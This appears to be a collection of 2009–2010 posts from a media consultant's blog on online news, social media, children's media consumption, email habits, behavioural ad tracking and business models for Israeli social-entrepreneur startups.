Using social media when the news is bad.

Hearst sourcing content from Helium.

How to get people to pay for online? Black out all web news for a week.

Nine tips for alternative business models for struggling newspapers.

The future of the Internet in 2010 according to Pew.

How much time are you wasting online An irreverent new website tells you.

Car dealers upping Internet marketing spend as sales continue to drop.

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My Posts at AIMGroup.com – Part One https://bluminteractivemedia.com/2010/04/my-posts-at-aimgroup-com/ https://bluminteractivemedia.com/2010/04/my-posts-at-aimgroup-com/#comments Tue, 13 Apr 2010 14:32:44 +0000 https://bluminteractivemedia.com/?p=520

AIMGroup LogoFor over five years, I covered the classified advertising business for AIMGroup.com. I was the beat reporter for real estate and automotive, and I chronicled hundreds of companies – from startups such as Zillow and HotPads – to established classified pure plays including Realtor.com, AutoTrader.com and Cars.com.

We covered social media extensively, but the main story was how newspapers had let these online competitors, not the least of which was Craigslist, decimate their classified advertising business, (hence leading to the dire straights print papers are in today) and what they could do to recover.

An often told if somewhat apocryphal story is how the Boston Globe once had the opportunity to buy recruiting powerhouse Monster.com but declined, saying in essence “hey, we’re the big bad Boston Globe, we don’t need that little pitzkele site.”

If watching the classified advertising shake down is of interest, I recommend you visit AIMGroup.com. In the meantime, I present you here with links to some of my more evergreen blog posts for the site over the last couple of years.

There are a lot of links, so I’ll publish these in two posts – here’s part one.

Thanks for permission to post these from my erstwhile editor Jim Townsend and publisher Peter Zollman.

If the NYTimes dropped print and distribution and gave all its subscribers e-Readers, it would actually save money!

Short attention span theater: new data – 10 percent of viewers leave an online video within 10 seconds.

85% of Gen Y-ers participate in social networking. Do you?

“Digital immigrants” vs. “digital natives” – with Facebook, you’ll never have to “get back in touch” again.

Google to newspapers: “grow up” (it’s not that hard to block Google indexing).

Profile of 2 Israeli startups shaking up writing and news: Iamnews and WeBook.

10 tips on how to make hyperlocal work.

If you want to trash your ex online, do it in Texas, not Colorado.

Teens don’t tweet. How come? Here’s what a teenage analyst has to say.

Consumers will pay 62% of what they pay for a print newspaper to access online news sites.

Why international users are draining Facebook’s coffers.

Creepy hookups – Google Maps and Craigslist personal mashup.

Social networks trump email for content sharing.

It’s not the newspapers, it’s their owners for print’s problems.

The first all-tweet newspaper – social media vanity press? Meanwhile, blog-to-print newspaper fails.

More next week…

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New Study: Why we Forward Emails https://bluminteractivemedia.com/2010/02/new-study-why-we-forward-emails/ https://bluminteractivemedia.com/2010/02/new-study-why-we-forward-emails/#comments Tue, 16 Feb 2010 09:54:51 +0000 https://bluminteractivemedia.com/?p=474

Jonah Berger

Jonah Berger

Katherine Milkman

Katherine Milkman

If you’re like me, you probably receive a lot of forwarded emails from friends with shots of awe-inspiring photography or some insight about why humans behave in the strange, amusing or crazy ways they so often do. Now, researchers at the University of Pennsylvania can tell us why.

These researchers – Jonah Berger and Katherine A. Milkman – were pretty serious about their study. They intensively analyzed The New York Times list of most-emailed articles, checking it every 15 minutes for more than six months, reviewing the content of more than 7,500 articles, and controlling for factors such as where the articles appeared on the site (i.e., home page, tech page, etc.) wrote John Tierney in The Times last week.

The results are consistent with what tends to fill up my own inbox: positive rather than negative themed articles, and long pieces on intellectually challenging topics. Take that, silly dancing cat videos.

Berger and Milkman said that the most shared emails were those that “inspired awe,” and that science articles were particularly popular. And not just reviews of the latest gadget. “You’d see articles shooting up the list…about the optics of deer vision,” Berger told Tierney.

Of the thousands of articles flagged during the research period, a random sample were rated by independent readers for qualities like “providing practical value” or “being surprising,” Tierney wrote. The researchers also used computer algorithms to track the ratio of “emotional” words in an article and to assess their relative positivity or negativity.

Explaining why “awe” sells…or at least results in more frequent forwarding, Berger explained that the most emailed articles tended to be those that triggered an “emotion of self-transcendence, a feeling of admiration and elevation in the face of something greater than the self.” That might include standing in front of a beautiful piece of art or listening to a grand symphony.

Of course, there were also the show-off’s. If you send an article off about quantum mechanics, you might preface it by writing “of course this is just a superficial treatment.” And there were the fear mongers, too, who shared pieces on impending terror attacks or tax increases (in equal measures, I’m sure).

But it’s the awe that’s the stickiest. “If I’ve just read this story that changes the way I understand the world and myself, I want to talk to others about what it means. I want to proselytize and share the feeling of awe,” Berger concluded.

So, am I doing my job here on this blog? I’m not sure. I try to write about interesting topics, perhaps even those that will surprise you (“Kids Consuming 11 Hours of Media a Day”) or that will provide some scientific insight (“Addicted to Email”). But do you feel a sense of awe when I share my thoughts on the latest Apple products or the latest trend of TV viewers tweeting live while they’re watching Heroes?

I’m not a big believer in writing exclusively for SEO, making sure my keywords are all punk’d out to their stickiest max. That would go for posting only awe-full articles too. If there’s something that I believe would be of value to you, my dear reader, I’ll blog it. And vice versa. If you enjoy what I’ve shared, feel free to forward it…regardless of what the researchers say.

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Kids Consuming 11 Hours of Media a Day https://bluminteractivemedia.com/2010/01/kids-consuming-11-hours-of-media-a-day/ https://bluminteractivemedia.com/2010/01/kids-consuming-11-hours-of-media-a-day/#comments Thu, 21 Jan 2010 08:25:41 +0000 https://bluminteractivemedia.com/?p=457

Kaiser Kids and Internet Report

Cover from KFF Report

A new study from the Kaiser Family Foundation confirms what most parents already know: that our kids are literally tethered to the Internet or other means of consuming media the better part of the day.

The report, which has been the talk of the blogosphere since it was released yesterday, found that children and young adults aged 8 to 18 spend more than seven and a half hours a day on their computers, in front of a television, or accessing media on a smart phone or mobile device.

That number doesn’t include talking or texting on a cell phone (another two hours a day). And if you calculate in multitasking – i.e., surfing the web while listening to music – the amount of media content taken in comes to nearly 11 hours total per day.

The shocking part is that when the same study was conducted five years ago, its authors concluded that media use could not possibly grow further from the six and a half hours clocked in 2004.

Donald Roberts, one of the researchers and a professor at Stanford University told The New York Times that “I remember writing a paragraph saying we’ve hit a ceiling on media use, since there just aren’t enough hours in the day to increase the time.”

Roberts and crew were apparently wrong.

The study’s results come as no surprise to my wife and I. All three of our children have their own computers, which are constantly on even while “studying.” The older two also have an iPhone and iPod Touch and know where all the open WiFi hotspots are in town. If they have a long bus ride, they load up the latest episodes of How I Met Your Mother or Dexter before leaving in the morning.

While the amount of time teenagers spend online or watching TV or movies is surprisingly high, it’s not like we didn’t do the same when we were younger – at least as much as we could with the technology of the times. I distinctly remember my parents complaining that I couldn’t possibly study properly with music or the TV on. But my grades came out fine.

That’s not necessarily the case today, though. The grades of 47 percent of the heaviest media users in the report were C or lower. Those heavy media users were also more likely to report that they were bored or sad, that they got into trouble, didn’t get along well with their parents, or were not happy at school.

A number of years ago – before the advent of all the latest hi-tech toys – our kids had become hopelessly addicted to the tube. We took the radical step of going “cold turkey” and forbidding television entirely. The kids were mortified at first, but tell us today that it was one of the best things we did as parents.

But their TV watching is now just as high – if not higher – than when we first detoxed; it’s simply not in the living room anymore. We have thought about taking their laptops away, but the kids have moaned that they need them for schoolwork – which is true.

And then there is the role model of their parents. Both my wife and I are in front of our respective computers constantly. And we multitask too. I am constantly flitting between Firefox, to Word for an article I’m writing, to splicing in a few stolen minutes of The Office or Flash Forward – all the while listening to Internet radio or some of the 100 GB of music on our shared home server.

So how can we criticize our children when their parents are equally guilty? The one thing that ruffles a teenager’s feathers more than anything else is perceived hypocrisy.

And there have been certain benefits to the always-on society we’ve created. When my son was visiting Poland with his high school class, he found a WiFi connection at the Auschwitz concentration camp and Skyped me from there, bringing me into his experience without paying a penny.

Ultimately, there’s no turning back. Our kids aren’t going to unplug and this is probably just an interim stage on the way to even more insidious connectivity. Someday, we’ll probably be able to pipe the Internet directly into our brains.

Indeed, that future may not be so far off. An Australian company is already working on an interface to bring sight to the blind by implanting a chip that bypasses the optical nerve. It’s just a hop skip and a jump to an entirely wireless mind (can you say Cylon?)

What are we going to do then? Threaten to remove their batteries? If Apple has anything to do with it, the power supply will be hard wired in – like all of Apple’s iPod products. Need a new chip? Just replace your head.

Some more findings from the Kaiser study:

  • 76% of 8 to 18-year-olds have MP3 players (up from 18% in 2004).
  • 64% say the TV is usually on during meals and 45% say the TV is left on “most of the time” even if no one is watching.
  • 71% have a TV in their bedroom; 50% have a console video game player
  • The amount of time spent watching regularly scheduled TV declined by 25 minutes a day from 2004. But factoring in TV on the web and cell phones, total TV consumption increased from 3:51 hours to 4:29 hours a day.
  • 74% say they have a profile on a social networking site.
  • About half of young people say they use media either “most” (31%) or “some” (25%) of the time while they’re doing their homework
  • Respondents to the survey spend an average of 1:35 hours a day sending or receiving texts.
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Twitter and the Tube: Social Media Meets Interactive TV https://bluminteractivemedia.com/2009/12/twitter-and-the-tube-social-media-meets-interactive-tv/ https://bluminteractivemedia.com/2009/12/twitter-and-the-tube-social-media-meets-interactive-tv/#comments Thu, 17 Dec 2009 11:46:27 +0000 https://bluminteractivemedia.com/?p=422

Television_remote_controlInteractive video has been one of my passions since I worked as a “multimedia producer” in the early 1990s creating CD-ROM titles in edutainment and healthcare. In 1994, I led a team that produced “How Multimedia Computers Work,” an immersive interactive environment that plunged viewers into a virtual 3D computer. We followed that up with “How Your Body Works.” Both were co-published in a book-CD package by Ziff-Davis Press.

In recent years, interactive video has been used very effectively for advertising and marketing. Carnival Cruise Lines employed it to help bring a cruise ship alive for would-be (and high-paying) passengers. Mars created an entire mini-commercial called “Get the Girl…An Interactive Love Story (Sort Of)” for its Twix brand where the viewer gets to choose what happens next. Even The New York Times got into the act with an interactive David Pogue sharing insights on consumer electronics.

But the Holy Grail for we interactive pioneers was always marrying it with broadcast television. It was the late 1980s, though, and technology never kept up with our creativity. Now, though, with the advent of social media, that day may have arrived. But with what consequences?

I wrote in my earlier post about Jeff Pulver’s “140 Characters Conference” which paraded a veritable cavalcade of social media luminaries on stage to talk about all things Twitter and Facebook. One of the panels at the event was on “social TV.”

Veteran Israeli media consultant Dror Gill described how TV and Twitter are already mashing up. A growing community of users are tweeting while they watch the tube, he explained, sending their comments, theories and criticisms into the social ether for others who are following the same program at the same time to reply to or re-tweet.

Gill called this phenomena 2-screen interactive TV (there are cable operators that have already integrated similar social media tricks into a single screen).

The experience, Gill explained, in some ways recreates a bit of what was for me an integral part of my childhood: sitting together as a family, laughing at dead parrots and silly walks, or cringing at another one of Mary Tyler Moore’s insecure faux-pas’s.

These days, it’s rare for members of a family to even find time to eat dinner as a cohesive unit. Twittering together, apparently, is the next best thing…even if your fellow schmoozers are on opposite coasts (or even different continents).

Conference host Pulver related his own social TV experience. A big fan of the NBC show Heroes, one evening, Pulver found himself away from the TV trolling the aisles for canned corn or some other delicacy in his local supermarket.

Distraught over missing his favorite guilty pleasure, he pulled out his cell phone and was able to follow the show by scrolling through the real-time tweets that neatly summarized the main plot turns.

How Pulver got his shopping done I don’t know…I also have to wonder why the one time founder of VoIP giant Vonage didn’t just TiVo the show, or at least watch it later on Hulu. But that wouldn’t have made for such an illustrative story.

Despite the fact that a number of the participants at the conference praised social media for making the post-modern world a little less lonely, the entire experience seems to me to be exactly the opposite. Where once we gathered in a shared space, we now sit alone opposite our 42-inch plasma screens tapping away to strangers thousands of miles away.

But for advertisers, this real time web can perhaps be seen as a hopeful trend. Broadcast television has been inching inexorably towards time shifting. The number of viewers watching a show at the hour it’s actually aired has been steadily declining in an online world where you can instantly stream that same program on any number of sites or – heaven forbid – download it for free.

The social media interactive experience, by contrast, requires participants to watch live. Tape delay ruins the whole thing. Moreover, not only can’t live viewers fast forward through the commercials, TV Twitterers may be less likely to jump up at a commercial at all. With all the real time excitement, a social media conversation may actually evolve about the ad itself. That puts the onus on the advertiser to make sure that what they’ve created can withstand the withering comments of a live Twitterverse.

The game for advertisers, as a result, gets even more complicated than it already is in a globally connected world. Companies must make sure they have assigned a staff person to monitor Twitter and other social media channels whenever their ads play in primetime. Because, when the masses won’t put down their keyboards even during the once sacred passive TV experience, the necessity to remain vigilant, to jump to attention and enact damage control if the need arises, becomes an integral part of the job.

It’s been said before by techno-luminaries far more prolific than me, but social media can no longer be seen as a “nice to have.” This makes it at once both terrifying and a terrific opportunity. But it’s one that must not be ignored.

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Writing and the Future of the Book https://bluminteractivemedia.com/2009/12/writing-and-the-future-of-the-book/ https://bluminteractivemedia.com/2009/12/writing-and-the-future-of-the-book/#comments Wed, 09 Dec 2009 09:32:26 +0000 https://bluminteractivemedia.com/?p=405

Kindle 2I’ve written before about how I believe the physical nature of books will change…much sooner than most of us can imagine. Within 10 years, 20 years tops, there will be virtually no print books being published – we’ll be consuming content exclusively on portable reading devices. Newspapers will fall even sooner.

Today’s text readers include the Amazon Kindle, Barnes & Noble’s Nook, The Plastic Logic Que and, of course, the iPhone and its various cell phone based derivatives. Future products – perhaps even the long rumored Apple “iPad” – will undoubtedly be much easier on the eyes and intuitive to use than what’s currently available.

But how about the creation of books? Bob Stein of the Institute of the Future of the Book suggests that the same phenomena of “crowdsourcing” that forms the backbone of content creation on social media – from blogs to Facebook – and that has made Wikipedia the world’s largest and most popular reference source, will be applied next to novels, biographies and all sorts of non-fiction.

The initial reaction of traditional authors – myself included – has been a quick harrumph. You can’t displace a well-trained and experienced writer with the power of isolated individuals across the Internet.

Or can you?

Stein gives the example of a well-known biographer who receives a $2 million advance, goes off for 10 years to research and write, and returns with his latest best-seller. Crowdsource me? says the writer. Not going to happen.

But at the same time, there is undoubtedly a newly minted PhD in Creative Writing who grew up on Facebook who has no problem writing in public and letting her thousands of friends and followers contribute. It may seem improbable today, but then so does the total demise of a hard cover book you can hold in your hand.

You can already see companies exploring this space. WeBook is probably the best known. Founded by Israeli serial entrepreneur Itai Kohavi and backed by some of the biggest names in venture capital, the site allows anyone to start a book topic and solicit submissions from other WeBook members who can also collaboratively edit the book in real time for all the world to see. WeBook runs periodic votes where members determine which books WeBook should actually publish (gasp) in print.

The startup Vook is more traditional in that most of what this company publishes is written by a single author, but it breaks the traditional mold by including video as an integral part of the storytelling process. “Vooks,” of course, are digital only.

Group written books are actually not that new. Take a look at the Talmud, the massive work of Jewish law, folklore and history. The original source material for the Talmud was oral, written by multiple authors and handed down from generation to generation until it was finally written down.

Legally, publishing crowdsourced books can be pretty tricky. The Internet culture of free sharing makes it tough to solicit help on a book and then charge for it. For example, I have a personal crowdsourcing project called SiddurWiki and I’m still trying to figure out the lawyerly language so that content on the site can be widely distributed electronically at no cost, while at the same time, be set up so that I can also sell it and make a profit.

So what does an established, traditional author (or an electronic publisher of any type, for that matter) do in such turbulent times? I think that individual authors have to begin thinking of themselves as hybrid writers and managers. It’s not enough to lock yourself in a room with just a typewriter (boy, that really dates me!) Rather you have to view your work as a “product” that needs leadership.

Writers of the future will be need to be cheerleaders, evangelists and social media experts, as well as dedicated craftsmen.

Ultimately, writers won’t go the way of the dinosaur. Indeed they’ll be as valuable as ever: a single person will still need to put it all together. But the process that leads up to that is about to change forever.

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140 Characters Comes to Tel Aviv https://bluminteractivemedia.com/2009/12/140-characters-comes-to-tel-aviv/ https://bluminteractivemedia.com/2009/12/140-characters-comes-to-tel-aviv/#comments Mon, 07 Dec 2009 11:49:14 +0000 https://bluminteractivemedia.com/?p=428

Jeff Pulver

Jeff Pulver in Tel Aviv

Jeff Pulver is a galavanting kind of guy. The one time founder of voice-over-IP telephony company Vonage, Pulver has in recent years traveled the globe hosting hi-tech networking “breakfasts” that attract hundreds of attendees

On Sunday, Pulver was back in town with a combined breakfast and conference focused on “the state of now.”

Dubbed the “140 Characters Conference” (that’s the number of characters you’re allowed to type into the Twitter “What’s happening?” box), some 250 social media “characters” gathered at Tel Aviv’s Afeka College of Engineering to listen attentively to a whopping four dozen presenters who spoke either in panel discussions or alone in 10 minute increments  (a large clock counted down the minutes and, other than a few misbehavers, the time was scrupulously observed).

Among the presenters were Alon Nir, the entrepreneur behind “TweetYourPrayers” which allows petitioners to tweet notes that Nir physically places in the cracks of the Western Wall. Nir started the project as a hobby. By the summer, he had thousands of notes and had to enlist an army of volunteers (recruited via Twitter of course) to roll the print outs and cart them to Jerusalem. Find him on Twitter at @thekotel.

A highlight for Israeli music fans was the appearance on stage of rockers Yoni Bloch and Ivri Lider who talked about how they use Twitter to get closer to their fans. Bloch, a self-confessed nerd, initially found fame by posting his songs to an Israeli MySpace-clone and was flabbergasted when, several years ago – long before the advent of Twitter – he sold out a live show just by announcing it online.

Comedians Charley Warady and Benji Lovitt talked about how they use social media to try out punch lines for their jokes (“can you be funny in 140 characters?” asked one audience member).

On a more serious note, David Saranga discussed how the Israeli consulate in New York took to Twitter to counter negative reports coming out of Gaza during January’s Operation Cast Lead. He also pointed out one of the more effective campaigns to reposition Israel in the mind of the world: the 2007 infamous “Girls of the IDF” bikini photo spread in Maxim magazine.

The strangest use of Twitter discussed? Simultaneous tweeting while watching TV. While I find it hard to understand how one can actually enjoy a program while tapping away on a Blackberry or iPhone keyboard, veteran media consultant Dror Gill suggested that interactive media can actually restore some of the social cohesion that’s been lost in the modern world where families rarely sit down together to watch the contemporary equivalent of All in the Family.

Twittering away, he said, is akin to kibbutzing together in the family room…even if your fellow schmoozers are thousands of miles away.

To back up that point of global interconnectedness, host Pulver announced at the day’s conclusion that 6,464 people from around the world had tuned in to watch the conference live via the Internet and that for much of the day, this intimate little get together, tucked away in an off the beaten track corner of Tel Aviv, had been ranked in Twitter’s Top 10 “trending topics.”

See for yourself. Search for #140conf on Twitter.

This article originally appeared on the Israelity blog.

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The Serendipity Effect in Social Media https://bluminteractivemedia.com/2009/11/the-serendipty-effect-in-social-media/ https://bluminteractivemedia.com/2009/11/the-serendipty-effect-in-social-media/#comments Mon, 09 Nov 2009 11:53:00 +0000 https://bluminteractivemedia.com/?p=310

Image from Mary Lindsay's blog

Image from Mary Lindsay's blog

When the web first started becoming paramount in how people consumed news, there was a lot written about the dangers of information “narrowcasting” and how it would result in a populace that knew little about what happening outside their own limited sphere of interest. Traditional print newspapers and magazines were lauded because by their very nature they enable readers to serendipitously stumble across news they might not have searched for on Google.

An interesting interview on a recent episode of NPR’s On the Media with Ethan Zuckerman of Harvard’s Berkman Center, and Clive Thompson, a writer for Wired and The New York Times Magazine, suggested that – surprisingly – social media could be an answer.

Thompson cited the research presented in Malcolm Gladwell’s “The Tipping Point” about how many people someone can actually have as friends or colleagues. The number, says Gladwell, is 150; human beings can’t really keep track of more than that. But on social media, that number jumps to the hundreds (and in some cases, particularly on Twitter, the thousands).

I have over 600 Facebook “friends.” Do I know all of them well? Certainly not. But something interesting happens when it comes to learning about news. The more “friends” we have, the more likely it is we’ll learn something about a topic we didn’t expect to and likely wouldn’t have searched for either.

And if enough of our friends share or re-tweet on a particular subject, we will come to think this is “important” (even if it’s really about some ludicrous boy in a balloon). More seriously, the tweets emanating from Iran during the recent mini-revolution definitely opened many new eyes.

Admittedly, most of our friends are “like us” in terms of educational backgrounds and socio-economic standards. But some of those friends may have a wider circle that includes one or two more exotic colleagues. And I have not been terribly discriminating about who I “friend” – when I have a question that I need answering, I then have a wider circle to whom I can publish.

The issue of serendipity in social media has come up recently with one of my clients. The client has a particular organizational focus, and most of what we post relates to that topic. But sometimes we also publish links to articles off-topic which we feel will be interesting to our readers. It’s a way of keeping the site timely and relevant. But it also has the effect of populating our fans’ activity streams with news they might not have seen otherwise.

So, if part of the product management services you provide your clients includes preparing and executing on a social media “content plan,” keep in mind the serendipity effect. It can help establish you more as a destination site within the social media universe…and it’s good for the world too.

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Addicted to Email (and Why That’s Important for Marketers) https://bluminteractivemedia.com/2009/10/addicted-to-email-and-why-thats-important-for-marketers/ https://bluminteractivemedia.com/2009/10/addicted-to-email-and-why-thats-important-for-marketers/#comments Fri, 09 Oct 2009 11:04:40 +0000 https://bluminteractivemedia.com/?p=201

Matt Richtel 2We all feel like we’re addicted to email sometimes. Now along comes someone to tell us why.

New York Times reporter Matt Richtel, interviewed on the NPR program On The Media, explained that in psychological terms, there is something called “intermittent reinforcement” – “that’s this idea that if you put a rat in a device where a food pellet only comes out of a hole periodically, the rat’s going to be checking that hold all the time because it never knows when that food is available.”

The same thing happens with email, Richtel said. “Most of the stuff we get is plainly unimportant. But occasionally, something really important comes along. So what does that do? It randomly reinforces us to be checking all the time.”

In other words, we are not that much more evolved than the common rodent…at least when it comes to checking our iPhones ten times an hour. And it’s not just email – Facebook status updates, SMS, chats – they’re all part of an addiction that, apparently, gets physical as well.

Richtel again: “when you check your device, you basically get the equivalent of a dopamine squirt. Well, if you get that little candy when you check your email and you check your phone, in its absence you start to feel bored.”

And when you feel bored, you want a new squirt. So what do you do? You send out a text or an email or a Tweet, or you initiate a Facebook chat, all in the hope that you’ll get a response. It becomes an endless loop.

What does all this mean for Internet advertisers and publishers? Perhaps this: If you want to get your message out, steer clear of banner ads and choose more interruptive media. Build up your social media fans and followers. And keep them guessing as to when the next big announcement will arrive in their inboxes.

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The interview, by the way, was part of a larger discussion on “distracted driving” amid new laws forbidding texting while behind the wheel – see Matt’s articles here. The implications for advertisers when it comes to potentially fatal social media behavior are far more ominous.

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Casinos, Behavioral Tracking and You https://bluminteractivemedia.com/2009/09/casinos-behavioral-tracking-and-you/ https://bluminteractivemedia.com/2009/09/casinos-behavioral-tracking-and-you/#comments Tue, 29 Sep 2009 14:27:12 +0000 https://bluminteractivemedia.com/?p=176

Harrah'sI was listening to an old episode of one of my favorite NPR shows and podcasts, Radio Lab. The topic was how we choose and it featured a fascinating and highly disturbing story that has relevance to anyone involved in the Internet today.

It turns out that in the world of gambling, the casino chain Harrah’s is the undisputed leader. The reason? All visitors must first join a “loyalty” program. Since signing up grants the gambler a nice credit of a few bucks, no one says no. Once you get your card, you have to insert it in the slot machine whenever you want to play.

What happens next is that Harrah’s tracks everything you do at the slots – how long you stay, what machines you play, how much you spend. By crunching the numbers, Harrah’s knows your specific pain threshold and at what point you’ll have lost enough to quit.

Harrah’s staff in the back room tracks everything and when the computer flags someone coming close to their limit, a member of Harrah’s floor staff approaches the soon-to-give-up gambler and intervenes, offering a free steak dinner, or another $15 credit or even tickets to a show that evening. The result: the gambler keeps gambling.

When I first heard this, I was appalled. How could a casino be so manipulative? (Well, they’re already manipulative, but this seemed over the top.) And how could gamblers be so gullible as to give the casino access to their personal behaviors.

But then I realized that what Harrah’s is doing is really no different than what’s happening online today. Advertisers using behavioral targeting are tracking your every move on the web – which sites you linger on, how long you stay in one place, what links you click on. The advertiser then knows to serve up the right ad at the right time and place.

Let’s say you just left Cars.com and are now at The New York Times. If the two companies both use the same tracking service, it’s easy for The Times to serve up an auto ad even though you’ve long since left Cars.com.

And how about mobile GPS services? We give up our privacy so that we can receive customized ads and coupons for restaurants in the vicinity of where we’re walking or driving. We see that as valuable – hey, I just got 10% off – but aren’t you being manipulated in exactly the same way as at the casino? Minority Report isn’t so far away.

I’m not saying that we should turn off our cookies – often times those ads can be valuable – and in any case, it’s largely impractical given the way the Internet operates. But we should be aware of what’s happening around us and make sure that we know when we’ve given our permission to be manipulated.

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Business Advice for Social Entrepreneurs https://bluminteractivemedia.com/2009/08/business-advice-for-social-entrepreneurs/ https://bluminteractivemedia.com/2009/08/business-advice-for-social-entrepreneurs/#comments Mon, 03 Aug 2009 14:57:10 +0000 https://bluminteractivemedia.com/?p=1

As the 16 “social entrepreneurs” took to the stage last Thursday to present their 15-second “elevator pitch,” I was filled with anticipation. What would the next generation of hi-tech founders come up with?

Here were some of Israel’s best and brightest, hand selected by the Presentense organization which aims to arm young people who want to do good with solid business skills and knowledge.

And at first glance, the strategy has paid off handsomely. The participants in the Presentense “launch night” were confident and personable. The first ever publicly presented elevator pitches on their would-be companies – from subjects as diverse as fostering peace in the Middle East to making prayer more accessible – were polished and presentable; none would have been out of place in a corporate board room.

After the on-stage performance, each Presentense “fellow” manned a table equipped with a laptop, business cards and printed collateral material for the 500 or so guests to peruse and pocket.

As I weaved between the entrepreneurs’ pitches, I found myself enthralled by the creativity…but confused by the business models behind many of these pre-seed startups. It’s not that Presentense didn’t prepare its participants properly; it’s more the nature of social change-focused non-profits which have lofty goals but that all too often rely on philanthropy not profits.

But I’m feeling up to the challenge. So let me here present some of the projects that most stood out for me, and let’s brainstorm together on how each could, if not actually generate enough revenue to make its founders rich, at least sustain itself as a social entrepreneurial success.

CreaTV

As a media guy, I found CreaTV fascinating – a marketplace of sorts matching up amateur movie makers with professionals to develop quality products for YouTube or broadcast television. CreaTV is targeting the Israeli market initially and will reach out to students at Israel cinema schools. Founder Elad Kimelman describes himself as an “enthusiastic Zionist” who believes that Jewish-produced media can help bind together the Israeli and Diaspora Jewish communities.

Kimelman hopes that the company will generate projects that receive funding from Israeli production companies; CreaTV would then take a cut. That’s not a bad idea, but unless there are a lot of financed productions, it’s hard to see how the site will sustain itself in the interim. YouTube is drowning under bandwidth costs and parent Google still hasn’t figured out how to sufficiently monetize the site.

A Vimeo model, where CreaTV charges for video storage above a certain monthly file size and bandwidth limit might work (although rumors are that Vimeo is in financial trouble). CreaTV could also adopt the approach of recruitment classifieds, charging a fee when a match is made. But that seems to go against the company’s do-good goal of fostering partnerships.

MediaMidrash

MediaMidrash is another media startup that I liked a lot. Founders Russel Neiss, a librarian, and Charlie Schwartz, a rabbinic student at JTS, dream of creating a site where all of the Jewish videos in the world could be uploaded for teachers to use in school classes. Moreover, teachers could include curriculum to enhance the videos (from both the videomakers themselves and independent instructors who find the videos useful).

My first job back 20 years ago was as the at the San Francisco Bureau of Jewish Education’s media department. I was in charge of taking orders from teachers and sending out films, VHS tapes and even filmstrips (remember those?) I would have loved a computerized database like MediaMidrash.

Again the question: how will this make money? I spoke with Neiss who said it was a low cost operation and that he could run it while keeping his day job. I pointed out that, if MediaMidrash takes off, bandwidth and storage costs will quickly outstrip a volunteer job. The company’s documentation talks about offering premium services such as creating custom video and course material, staff training and websites.

In general, I think this “freemium” model – where you give away most of the content for free and upsell paid services – is the way to go. But creating new video and course content will require specialized staff – whether in-house or outsourced – and the mark-up in order to keep the company going (and pay its founders) may prove prohibitive to Jewish day schools already suffering in a post-Madoff era. Let’s hope that’s not the case.

JewTo

Jewto.com is a great name that founder Melissa Berg somehow snagged – finding a short and catchy URL like that is almost unheard of these days. Berg wants to create a mashup of Craigslist-like classifieds with a global guide to Jewish resources. Think every kosher restaurant in the world and mezuzas for sale.

Berg talked to me about hiring staff to write about all things Jewish in your city, but a more scalable model would be ape Yelp, the popular U.S. reviews and rankings site, where regular readers like you and me write the reviews of restaurants, dentists, bars, beauty salons and more. No need to pay when users contribute for the fame and glory.

Jewto can then upsell premium placement – such as your restaurant at the top of the listings (clearly marked as sponsored of course) – along with tools such as table booking, menu listings and take out. Yelp also sells display advertising – so should Jewto.

Berg should also look into partnering with fellow Israeli startup Bite 2Eat for the restaurant booking functionality as well a to look into whether Yelp or a similar site licenses its engine to third parties.

Jewto is a huge project but the business model – if done right (and it will need VC financing to pull off) – has real potential.

Peula

Did you ever receive crappy service from a store or government office? Wanted to complain but didn’t know how? Peula.com is here to help. The company is building a system to automate letter writing and to gather support from similarly minded aggrieved individuals online. Peula then sends your complaint on the right person.

Peula’s secret sauce is that when the target of your complaint responds, the reply is sent to all of the people listed on your e-complaint which means the responsible party’s response is tracked publicly.

Peula hopes this will differentiate it from its already formidable competition. In Israel, there’s atzuma.co.il, tluna.co.il, and shout.co.il. In the U.S. and U.K., companies like PlanetFeedback and HowtoComplain, and even the Better Business Bureau provide similar services – all for free.

Since the competition doesn’t charge, neither can Peula. Ads and sponsorships on the site are the company’s main business prospects. Allowing users to print letters for a fee, as founder Romi Shamai suggested to me, doesn’t make a lot of sense – users could too easily just copy and paste. There are probably additional added value tools Peula could add that I haven’t thought of yet.

The Open Siddur Project

Perhaps my favorite entrepreneur of the evening was Aharon Varady who is trying to create an online siddur (prayer book) with versions and commentaries from every source imaginable – from Rashi to Jewish Renewal plus user-contributed content. Spiritual seekers could then mix and match how they want to pray and print out their own personal siddur. “Imagine if the first siddur presented to a day school student was actually crafted by that student over the course of a year while being introduced to the liturgy in class,” Varady says.

As someone who struggles with prayer myself, I would love to have a site like Open Siddur. Varady is committed to “keeping this resource completely free.” So how to make money? Varady hopes to charge for printed copies through partnerships with print-on-demand printers.

But what would keep someone from simply generating their on their home printer? Those of us in the Internet publishing business have all learned the hard way that users won’t pay for content online. The print-on-demand model could work, but since each siddur would be customized for the individual, the volume would be low and as a result any partnership revenue from the POD guys would be similarly small.

Selling services around the siddur project – Jewish designers, calligraphers, scholars and even freelance editors – and taking a cut might be a better direction.

The Israel-Asia Center

The Israel-Asia Center seems to be the most mature project in the 2009 Presentense fellows program. The company already has a working website – a news magazine focused on “promoting partnerships between Israel, the Jewish people and Asia, with a strong focus on China.”

The management team includes an Israeli professor in China, and founder Rebecca Zeffert, a PR specialist and Chinese Studies graduate. They’re backed by a 20-member volunteer team in Israel, China, the U.S. and India. The company also has an impressive advisory board.

The Israel-Asia Center’s business model also makes sense: use the website as a platform for selling services – course syllabi on Israel-China relations, speaking engagements, briefings and exchange programs.

Given the growth of China as the world’s second largest economy and Israel’s already existing ties with the Asian giant, I give a hearty thumbs up to Zeffert and crew.

There were a bunch of other entrepreneurs at the event that I didn’t get a chance to talk with. Will they all succeed? Certainly not. Do they deserve to? Absolutely. Do I have all the answers? Not a chance. But this is just a start; some friendly advice, and I have no doubt these fledgling startups will receive plenty more.

What do you think? Which directions would you point these worthwhile endeavors. Drop me a line or leave a comment on the blog.

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